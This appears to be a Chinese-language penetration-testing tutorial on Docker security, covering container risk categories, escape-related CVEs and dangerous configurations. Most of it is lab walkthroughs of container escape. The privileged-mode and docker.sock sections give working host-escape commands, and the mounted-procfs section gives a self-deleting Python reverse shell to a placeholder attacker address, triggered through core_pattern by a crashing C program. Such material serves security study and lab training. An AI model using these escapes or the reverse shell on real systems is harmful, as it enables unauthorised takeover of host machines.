1、Docker 是干嘛的?

2、Docker 对于渗透测试影响?

3、Docker 渗透测试点有哪些?

容器镜像存在的风险

  • 不安全的组件
  • 不安全的镜像

活动中的容器存在的风险

  • 不安全的容器应用
  • 不受限制的资源共享
  • 不安全的配置与挂载

其他风险

  • 容器网络风险
  • 软件自身的漏洞
  • 宿主机操作系统风险

4、前渗透 - 判断在 Docker 中

没有权限:端口扫描详细信息,根据应用对象表现

拿到权限:blog.csdn.net/qq_23936389/article/details/131486643

5、前渗透 - 镜像中的应用漏洞

6、前渗透 - 镜像中的默认配置

7、后渗透 - 三种安全容器逃逸

  • 特权模式启动导致(不安全启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
  • 危险挂载启动导致(危险启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
  • docker 自身 & 系统漏洞(软件漏洞和系统漏洞 都可用)

参考https://wiki.teamssix.com/CloudNative/


Docker 逃逸漏洞盘点

1、Docker 自身漏洞

cve-2021-25741

cve-2021-30465

cve-2022-0492

2、内核漏洞

cve-2020-14386

cve-2021-22555

cve-2022-0847 DirtyPipe

3、不安全的配置

privileged-container

  • 含义:容器以 privileged(特权)模式运行。
  • 风险:特权容器拥有主机上的几乎所有内核能力(Capabilities),几乎等同于主机上的 root 权限。攻击者如果突破容器,可能直接控制主机。
  • 典型场景:某些特殊应用(如 Docker in Docker)需要特权模式,但通常应避免。

mount-docker-sock

  • 含义:容器挂载了主机的 Docker 守护进程套接字文件(/var/run/docker.sock)。
  • 风险:通过该套接字,容器可以直接与主机 Docker 引擎交互,从而创建或删除其他容器,甚至运行恶意容器(相当于获得主机控制权)。
  • 典型场景:CI/CD 工具(如 Jenkins 容器)可能需要挂载 Docker 套接字来构建镜像,但这是高风险操作。

mount-host-etc

  • 含义:容器挂载了主机的 /etc 目录。
  • 风险:/etc 包含主机系统的关键配置(如密码文件、影子文件 /etc/shadow、SSH 密钥等)。攻击者读取或修改这些文件,导致主机沦陷。
  • 典型场景:监控或日志工具需要访问主机配置,但应限制为只读或最小权限。

mount-host-procfs

  • 含义:容器挂载了主机的 /proc 文件系统。
  • 风险:/proc 暴露了主机内核和进程信息,攻击者可利用它逃逸到主机(如通过修改 core_pattern 触发任意代码执行)。
  • 典型场景:调试工具可能需要访问 /proc,但生产环境应禁用。

mount-var-log

  • 含义:容器挂载了主机的 /var/log 目录。
  • 风险:日志中可能包含敏感信息(如认证日志、应用日志)。攻击者可利用这些信息进行横向渗透。
  • 典型场景:日志收集器(如 Fluentd)需要访问日志文件,但应限制为只读。

cap_dac_read_search-container

  • 含义:容器拥有 CAP_DAC_READ_SEARCH 内核能力。
  • 风险:该能力允许容器绕过文件读权限检查,可读取主机上的任意文件(如 /etc/shadow)。
  • 缓解:除非必要,否则应通过 —cap-drop 移除该能力。

cap_sys_admin-container

  • 含义:容器拥有 CAP_SYS_ADMIN 内核能力。
  • 风险:这是最危险的能力之一,允许执行挂载文件系统、命名空间操作等,极易导致容器逃逸(如利用 cgroup 漏洞)。
  • 缓解:除非绝对必要(如运行 systemd 的容器),否则必须禁用。

容器逃逸 - 特权模式

启动靶场:

docker run --rm --privileged=true -it alpine

检测环境:

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

判断特权:

cat /proc/self/status | grep CapEff

查看目录:

fdisk -l

特权逃逸:

mkdir /test && mount /dev/vda1 /test

判断结果:

cd /test/ && ls

容器逃逸 - 危险挂载

1、挂载 Docker Socket 逃逸

启动靶场:

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

进入环境:

docker exec -it with_docker_sock /bin/bash

检测环境:

ls -lah /var/run/docker.sock

挂载逃逸:

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host

2、挂载宿主机 procfs 逃逸

https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs

启动环境:

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测环境:

find / -name core_pattern

查找容器在宿主机下的绝对路径:

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

写入文件:

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF
 
chmod +x /tmp/.x.py
 
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
 
gcc x.c -o x

执行文件:

./x
nc -lvvp xxxx

模拟真实场景

  1. 高权限-Web 入口到 Docker 逃逸(Java)
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
  1. 低权限-Web 入口到 Docker 逃逸(PHP)
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa